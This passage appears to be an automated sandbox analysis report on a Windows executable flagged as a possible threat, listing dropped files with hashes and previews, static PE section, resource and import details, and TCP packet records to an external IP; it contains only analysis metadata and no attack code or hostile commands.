                                                                                                                                                                                                                                                                  MD5:D8F026C0C5F967208AE34B7562C29E2B
                                                                                                                                                                                                                                                                  SHA1:8C8BEA337ADADD92BDEFF214020017B9BFCC8BB5
                                                                                                                                                                                                                                                                  SHA-256:6047C38C91AE2544E2FF08B35306E0B339DC910C0C6B8188EBDF39F75C4D2D69
                                                                                                                                                                                                                                                                  SHA-512:0D618B6E1CC41317F306397BFED2596A9E78EB2C8C62242BA33AA3114334E72D4AD54218D61AE72880BDBBCEBC056B3163E90875A055F178EC1DF68341DF7540
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:2024-10-21 05:39:02.157397 [INFO] [Context.cc:179] <<--- --- --- ---.2024-10-21 05:39:02.157397 [INFO] [Context.cc:180] --- --- --- ---.2024-10-21 05:39:02.157397 [INFO] [Context.cc:181] --- --- --- --->>.2024-10-21 05:39:02.157397 [INFO] [Context.cc:182] aria2 1.36.0.2024-10-21 05:39:02.157397 [INFO] [Context.cc:183] mingw-w64 8.0.0 (alpha) / gcc 10-win32 20210110. built by x86_64-pc-linux-gnu. targeting x86_64-w64-mingw32. on Aug 21 2021 17:37:16.2024-10-21 05:39:02.157397 [INFO] [Context.cc:184] Windows 6.2 (x86_64) (6.2).2024-10-21 05:39:02.157397 [INFO] [Context.cc:185] zlib/1.2.11 expat/2.4.1 sqlite3/3.36.0 GMP/6.2.1 c-ares/1.17.2 libssh2/1.9.0.2024-10-21 05:39:02.157397 [INFO] [Context.cc:186] Logging started..2024-10-21 05:39:02.157397 [INFO] [SocketCore.cc:1585] Checking configured addresses.2024-10-21 05:39:02.173397 [INFO] [SocketCore.cc:1649] Not considered: fe80::357a:d50d:a849:be2d%14.2024-10-21 05:39:02.173397 [INFO] [SocketCore.cc:1646] Found configured a

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\log2.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF, LF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):4882
                                                                                                                                                                                                                                                                  Entropy (8bit):5.511108995030323
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:6Om1ECLgpElyW5ww5wSwLqSwUYe2YnyhlazV6wFewgeO:1m1rLgpGyBw5wSwLHwUYeBnyhlaYwFTO
                                                                                                                                                                                                                                                                  MD5:D2115414DA775F9D768847C4462083B3
                                                                                                                                                                                                                                                                  SHA1:0D37660354943723D93576184157D37F9A0985CA
                                                                                                                                                                                                                                                                  SHA-256:1893E06985C36E56941969E544C0C397E180082BC0AC207B42378612818E29AB
                                                                                                                                                                                                                                                                  SHA-512:77E3A21E05C68DE138DFA755E015DD5C3C690BA8C935B53BD4C9375DB85DE3D4D6AD52924CA6CDF8632DAA348DE63FD2F2B8F9DBCCF923E53ECE6F1D540A0976
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:2024-10-21 05:39:17.339547 [INFO] [Context.cc:179] <<--- --- --- ---.2024-10-21 05:39:17.339547 [INFO] [Context.cc:180] --- --- --- ---.2024-10-21 05:39:17.339547 [INFO] [Context.cc:181] --- --- --- --->>.2024-10-21 05:39:17.339547 [INFO] [Context.cc:182] aria2 1.36.0.2024-10-21 05:39:17.339547 [INFO] [Context.cc:183] mingw-w64 8.0.0 (alpha) / gcc 10-win32 20210110. built by x86_64-pc-linux-gnu. targeting x86_64-w64-mingw32. on Aug 21 2021 17:37:16.2024-10-21 05:39:17.339547 [INFO] [Context.cc:184] Windows 6.2 (x86_64) (6.2).2024-10-21 05:39:17.339547 [INFO] [Context.cc:185] zlib/1.2.11 expat/2.4.1 sqlite3/3.36.0 GMP/6.2.1 c-ares/1.17.2 libssh2/1.9.0.2024-10-21 05:39:17.339547 [INFO] [Context.cc:186] Logging started..2024-10-21 05:39:17.339547 [INFO] [SocketCore.cc:1585] Checking configured addresses.2024-10-21 05:39:17.339547 [INFO] [SocketCore.cc:1649] Not considered: fe80::357a:d50d:a849:be2d%14.2024-10-21 05:39:17.355545 [INFO] [SocketCore.cc:1646] Found configured a

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\null

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with escape sequences
                                                                                                                                                                                                                                                                  Category:modified
                                                                                                                                                                                                                                                                  Size (bytes):410
                                                                                                                                                                                                                                                                  Entropy (8bit):5.090336095610439
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:w5Sa9kMriVPrpc+gtn2ChS/ErVPrpc+gta4rO:YxkDy+hMxDylO
                                                                                                                                                                                                                                                                  MD5:FF2DBAFCB087A74E2655E609031111A7
                                                                                                                                                                                                                                                                  SHA1:3A3EC9C137BEE588E754FA4935CEC68F3361628A
                                                                                                                                                                                                                                                                  SHA-256:3DDCA38BC97F65ECE0EDCEB16894E0A5C55D73E72A47BB359E6A73208DB9788E
                                                                                                                                                                                                                                                                  SHA-512:AFDC4D44F155AF99A017A38DB1A1DCDB4184B1D16154EBCCA38459EC65337C2EC5BBA654D401CE1E5EFAFD35A20734E974177E5D7E1799F938336D89389EE302
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.10/21 05:39:17 [.[1;32mNOTICE.[0m] Downloading 1 item(s)..10/21 05:39:18 [.[1;32mNOTICE.[0m] Download complete: C:/Users/user/TMP/cr-20241021-53901/result.html..Download Results:.gid |stat|avg speed |path/URI.======+====+===========+=======================================================.f06973|OK | 56B/s|C:/Users/user/TMP/cr-20241021-53901/result.html..Status Legend:.(OK):download completed..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\result.html

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):33
                                                                                                                                                                                                                                                                  Entropy (8bit):4.331976694984911
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:TsJmXKmjfVn:wBmh
                                                                                                                                                                                                                                                                  MD5:F84EF37335DF6E2C529D9E65E3D47FE1
                                                                                                                                                                                                                                                                  SHA1:BEF323E66861B05E1E646C5AC03E342FBF5AA396
                                                                                                                                                                                                                                                                  SHA-256:103F0C362608E93D08974504E562EAD36EE5E9E1603E745492FBAF6B204F6A3C
                                                                                                                                                                                                                                                                  SHA-512:F01C1ECB636FF672AA9C535939704FB616F1BCDFDC65412D0146FEBFAEAE052A1F188BA7B0142312D531349F22ADE2119845F5A7817BAC0FEDB2B367B93C93D3
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:. SerialNumber = 39L-H11-C^ .

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\serialnumber.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):66
                                                                                                                                                                                                                                                                  Entropy (8bit):3.233639952626229
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:Q2IMefanovdOwl6Xf2n:Q2xefaovgwAXun
                                                                                                                                                                                                                                                                  MD5:3E05212079429FBF1B54BAE20A0B6D49
                                                                                                                                                                                                                                                                  SHA1:2F973EE7FD4D3F556245A1106BCEB2AD4C008B24
                                                                                                                                                                                                                                                                  SHA-256:4C016FD32BB81A49E0B79EF1234D18C145D0BDADFA4D9881438650E96F1A39B4
                                                                                                                                                                                                                                                                  SHA-512:1975DE048C47174ABE43224052D015E097B4399DE8C80F760F976AC8669F30A0DCB6D1A9E1F94AB5CE19F8A4FCB5D6C45F6D95CE0ADA516D1A322E26490A8DB6
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:..S.e.r.i.a.l.N.u.m.b.e.r. . .....F.2.L.E.U.D.3.E.O.H. . . . .....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\serialnumber2.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:modified
                                                                                                                                                                                                                                                                  Size (bytes):16
                                                                                                                                                                                                                                                                  Entropy (8bit):3.375
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:9gYqPFy:CYqPFy
                                                                                                                                                                                                                                                                  MD5:B25508EEBDA993410CA25A666D136E23
                                                                                                                                                                                                                                                                  SHA1:C983ABDC1989D4DEA21E516526E111A9ED183E45
                                                                                                                                                                                                                                                                  SHA-256:98A83ED16BE2DD059BEFC3EE12FF3FC9036C684842E2013DCC29FBD5F1C54246
                                                                                                                                                                                                                                                                  SHA-512:12AE2A1EC3F71CE39C54665E2425E4AC3B2AC5DC757D0CEF0CE5E06FD77C6D286EF7A27BDB7296F7CC2953DFBA77B361D89E7434621EA2C408716AD7B514707C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:F2LEUD3EOH ..

                                                                                                                                                                                                                                                                  \Device\Null

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):20817
                                                                                                                                                                                                                                                                  Entropy (8bit):4.606294946944538
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:PKMRJpTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeTeT0:/BXAokItULVDv
                                                                                                                                                                                                                                                                  MD5:97BCCAFC6B0F828EB637F467C7EA71A2
                                                                                                                                                                                                                                                                  SHA1:A87CC48C4AFFA02DF8194A526303849AD3590933
                                                                                                                                                                                                                                                                  SHA-256:A3EE3762BB2A62C1B8F301D29BC47285AB2FA9444BAA101781FF4DD70A2CE94B
                                                                                                                                                                                                                                                                  SHA-512:C62E03E99299BFDD1398698E98533D87325E29789F42530305E06475478B440AF79DA7860DE956BB3ACC9F5D435546FEF5434F6EFB1A4A5DDAC80AE2378C5791
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: byt

                                                                                                                                                                                                                                                                  Static File Info

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  File type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Entropy (8bit):6.376923784601592
                                                                                                                                                                                                                                                                  TrID:
                                                                                                                                                                                                                                                                  • Win32 Executable (generic) a (10002005/4) 99.81%
                                                                                                                                                                                                                                                                  • Windows Screen Saver (13104/52) 0.13%
                                                                                                                                                                                                                                                                  • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                                                                                                                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                                  • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                                  File name:SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe
                                                                                                                                                                                                                                                                  File size:5'650'432 bytes
                                                                                                                                                                                                                                                                  MD5:36f1b6a1df5c33a33dba8396c877062d
                                                                                                                                                                                                                                                                  SHA1:b0bf0049d0f56a60056802ca484d96d28584fe61
                                                                                                                                                                                                                                                                  SHA256:5dfc2387cbc7e73e92ca2d4526a73a812bb61a7d8a6a8f900170dbcffc9394d5
                                                                                                                                                                                                                                                                  SHA512:b12cd0a3c86b64ee5e0c35774c8a07ea2f8bb99785078404e9053bd6f2ca215d3c7e5038ce4fe878ad5941bfc16e62a73f27fd42e738fb89be793dbfb6ec25d1
                                                                                                                                                                                                                                                                  SSDEEP:49152:/cqNj1f/q2nGRqnv9KCnLEVmx6oqgemsheXhWo4liMCgyyOOK8uDjWmLSfPcZv4R:lfS2Kqn4CnLEslfYexusOK8gyo4R
                                                                                                                                                                                                                                                                  TLSH:4C462927E2A350ECC27BC170475BA273B931F81912307A7F7698DB752F21EA0566DB24
                                                                                                                                                                                                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....EV...............2......U...................@..........................pV............................................

                                                                                                                                                                                                                                                                  File Icon

                                                                                                                                                                                                                                                                  Icon Hash:00928e8e8686b000

                                                                                                                                                                                                                                                                  Static PE Info

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Entrypoint:0x401000
                                                                                                                                                                                                                                                                  Entrypoint Section:.code
                                                                                                                                                                                                                                                                  Digitally signed:false
                                                                                                                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                                                                                                                  Subsystem:windows cui
                                                                                                                                                                                                                                                                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                                                                                                                  DLL Characteristics:
                                                                                                                                                                                                                                                                  Time Stamp:0x5645E7D7 [Fri Nov 13 13:38:31 2015 UTC]
                                                                                                                                                                                                                                                                  TLS Callbacks:
                                                                                                                                                                                                                                                                  CLR (.Net) Version:
                                                                                                                                                                                                                                                                  OS Version Major:4
                                                                                                                                                                                                                                                                  OS Version Minor:0
                                                                                                                                                                                                                                                                  File Version Major:4
                                                                                                                                                                                                                                                                  File Version Minor:0
                                                                                                                                                                                                                                                                  Subsystem Version Major:4
                                                                                                                                                                                                                                                                  Subsystem Version Minor:0
                                                                                                                                                                                                                                                                  Import Hash:0818438d729451edf8c455424695687b

                                                                                                                                                                                                                                                                  Entrypoint Preview

                                                                                                                                                                                                                                                                  Instruction
                                                                                                                                                                                                                                                                  push 00000100h
                                                                                                                                                                                                                                                                  push 00000000h
                                                                                                                                                                                                                                                                  push 0040E3D8h
                                                                                                                                                                                                                                                                  call 00007F7C10E90511h
                                                                                                                                                                                                                                                                  add esp, 0Ch
                                                                                                                                                                                                                                                                  push 00000000h
                                                                                                                                                                                                                                                                  call 00007F7C10E9050Ah
                                                                                                                                                                                                                                                                  mov dword ptr [0040E3DCh], eax
                                                                                                                                                                                                                                                                  push 00000000h
                                                                                                                                                                                                                                                                  push 00001000h
                                                                                                                                                                                                                                                                  push 00000000h
                                                                                                                                                                                                                                                                  call 00007F7C10E904F7h
                                                                                                                                                                                                                                                                  mov dword ptr [0040E3D8h], eax
                                                                                                                                                                                                                                                                  call 00007F7C10E90471h
                                                                                                                                                                                                                                                                  call 00007F7C10E96F8Ch
                                                                                                                                                                                                                                                                  call 00007F7C10E96E33h
                                                                                                                                                                                                                                                                  call 00007F7C10E95355h
                                                                                                                                                                                                                                                                  call 00007F7C10E94E80h
                                                                                                                                                                                                                                                                  call 00007F7C10E94828h
                                                                                                                                                                                                                                                                  call 00007F7C10E944ACh
                                                                                                                                                                                                                                                                  call 00007F7C10E942DEh
                                                                                                                                                                                                                                                                  call 00007F7C10E942BBh
                                                                                                                                                                                                                                                                  call 00007F7C10E9422Dh
                                                                                                                                                                                                                                                                  call 00007F7C10E93990h
                                                                                                                                                                                                                                                                  call 00007F7C10E929BAh
                                                                                                                                                                                                                                                                  call 00007F7C10E91BC6h
                                                                                                                                                                                                                                                                  call 00007F7C10E91959h
                                                                                                                                                                                                                                                                  call 00007F7C10E91020h
                                                                                                                                                                                                                                                                  call 00007F7C10E90C93h
                                                                                                                                                                                                                                                                  push dword ptr [0040E4D0h]
                                                                                                                                                                                                                                                                  call 00007F7C10E91963h
                                                                                                                                                                                                                                                                  push 00000007h
                                                                                                                                                                                                                                                                  push 0040D278h
                                                                                                                                                                                                                                                                  lea eax, dword ptr [0040E4D0h]
                                                                                                                                                                                                                                                                  push eax
                                                                                                                                                                                                                                                                  push 00000008h
                                                                                                                                                                                                                                                                  call 00007F7C10E91897h
                                                                                                                                                                                                                                                                  push 0040E4C8h
                                                                                                                                                                                                                                                                  push 0040D280h
                                                                                                                                                                                                                                                                  push 00000007h
                                                                                                                                                                                                                                                                  push 00000401h

                                                                                                                                                                                                                                                                  Data Directories

                                                                                                                                                                                                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0xd38c0xc8.data
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0xf0000x557154.rsrc
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0xd6e40x290.data
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                                  Sections

                                                                                                                                                                                                                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                                  .code0x10000x2beb0x2c0029f59f1512d3bf317dae402979311db2False0.3106356534090909data4.47384456907699IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                  .text0x40000x788a0x7a00259dbcfaa1ff0fa4d3cfdf70a8c28477False0.616515112704918data6.542130256210815IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                  .rdata0xc0000x65e0x8007531e46b1374f3df9c6ab970359c2571False0.73193359375data6.247246552539829IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                  .data0xd0000x18f00x1400d96862e3e2aabfde7d592b69329f92eeFalse0.4291015625data5.143181943982456IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                  .rsrc0xf0000x5571540x55720070cc6af8eb0c9c7976fc0e0dbc2174c6unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                                                  Resources

                                                                                                                                                                                                                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                                  RT_RCDATA0xf1a80x6f9OpenPGP Public Key0.4106442577030812
                                                                                                                                                                                                                                                                  RT_RCDATA0xf8a40xedata1.5714285714285714
                                                                                                                                                                                                                                                                  RT_RCDATA0xf8b40x556600PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows0.4600677490234375
                                                                                                                                                                                                                                                                  RT_RCDATA0x565eb40x12ASCII text, with no line terminators1.4444444444444444
                                                                                                                                                                                                                                                                  RT_RCDATA0x565ec80x20data0.8125
                                                                                                                                                                                                                                                                  RT_RCDATA0x565ee80x6PDP-11 UNIX/RT ldp2.0
                                                                                                                                                                                                                                                                  RT_MANIFEST0x565ef00x263XML 1.0 document, ASCII text0.5319148936170213

                                                                                                                                                                                                                                                                  Imports

                                                                                                                                                                                                                                                                  DLLImport
                                                                                                                                                                                                                                                                  MSVCRT.dllmemset, strncmp, memmove, strncpy, _strnicmp, strlen, strcmp, strcpy, strcat, sprintf, fabs, ceil, malloc, floor, free, fclose, memcpy, _stricmp, tolower
                                                                                                                                                                                                                                                                  KERNEL32.dllGetModuleHandleA, HeapCreate, GetCommandLineA, RemoveDirectoryA, GetTempFileNameA, GetShortPathNameA, HeapDestroy, ExitProcess, FindResourceA, LoadResource, SizeofResource, HeapAlloc, HeapFree, Sleep, LoadLibraryA, GetProcAddress, FreeLibrary, GetCurrentThreadId, GetCurrentProcessId, CloseHandle, InitializeCriticalSection, GetModuleFileNameA, GetEnvironmentVariableA, SetEnvironmentVariableA, GetCurrentProcess, DuplicateHandle, CreatePipe, GetStdHandle, CreateProcessA, WaitForSingleObject, EnterCriticalSection, LeaveCriticalSection, PeekNamedPipe, GetExitCodeProcess, TerminateProcess, SetUnhandledExceptionFilter, GetVersionExA, HeapReAlloc, SetLastError, TlsAlloc, GetCurrentDirectoryA, SetCurrentDirectoryA, GetTempPathA, SetFileAttributesA, DeleteFileA, CreateDirectoryA, WriteFile, CreateFileA, SetFilePointer, ReadFile, DeleteCriticalSection
                                                                                                                                                                                                                                                                  USER32.DLLMessageBoxA, SendMessageA, PostMessageA, GetWindowThreadProcessId, IsWindowVisible, GetWindowLongA, GetForegroundWindow, IsWindowEnabled, EnableWindow, EnumWindows, SetWindowPos, DestroyWindow, GetDC, GetWindowTextLengthA, GetWindowTextA, SetRect, DrawTextA, GetSystemMetrics, ReleaseDC, GetSysColor, GetSysColorBrush, CreateWindowExA, CallWindowProcA, SetWindowLongA, SetFocus, RedrawWindow, RemovePropA, DefWindowProcA, SetPropA, GetParent, GetPropA, GetWindow, SetActiveWindow, UnregisterClassA, DestroyAcceleratorTable, LoadIconA, LoadCursorA, RegisterClassA, AdjustWindowRectEx, ShowWindow, CreateAcceleratorTableA, PeekMessageA, MsgWaitForMultipleObjects, GetMessageA, GetActiveWindow, TranslateAcceleratorA, TranslateMessage, DispatchMessageA, GetFocus, GetClientRect, FillRect, EnumChildWindows, DefFrameProcA, GetWindowRect, IsChild, GetClassNameA, GetKeyState, DestroyIcon, RegisterWindowMessageA
                                                                                                                                                                                                                                                                  GDI32.DLLGetStockObject, SelectObject, SetBkColor, SetTextColor, GetTextExtentPoint32A, CreateSolidBrush, DeleteObject, GetObjectA, CreateCompatibleDC, GetDIBits, DeleteDC, GetObjectType, CreateDIBSection, BitBlt, CreateBitmap, SetPixel
                                                                                                                                                                                                                                                                  COMCTL32.DLLInitCommonControlsEx
                                                                                                                                                                                                                                                                  OLE32.DLLCoInitialize, CoTaskMemFree, RevokeDragDrop
                                                                                                                                                                                                                                                                  SHELL32.DLLShellExecuteExA
                                                                                                                                                                                                                                                                  WINMM.DLLtimeBeginPeriod
                                                                                                                                                                                                                                                                  SHLWAPI.DLLPathRemoveArgsA, PathGetArgsA, PathAddBackslashA, PathQuoteSpacesA

                                                                                                                                                                                                                                                                  Network Behavior

                                                                                                                                                                                                                                                                  Network Port Distribution

                                                                                                                                                                                                                                                                  TCP Packets

                                                                                                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.209906101 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.214790106 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.214895964 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.249252081 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.254132032 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973120928 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973150969 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973160982 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973186970 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973196983 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973263025 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973273993 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973283052 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973294020 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973304033 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973306894 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.973354101 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.978302002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.978318930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.978329897 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.978404999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.023417950 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090516090 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090533018 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090543985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090554953 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090568066 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090589046 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090626955 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090812922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090823889 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090836048 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090847015 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090851068 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090858936 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090883970 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.090903997 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:04.092292070 CEST804970446.105.204.6192.168.2.5
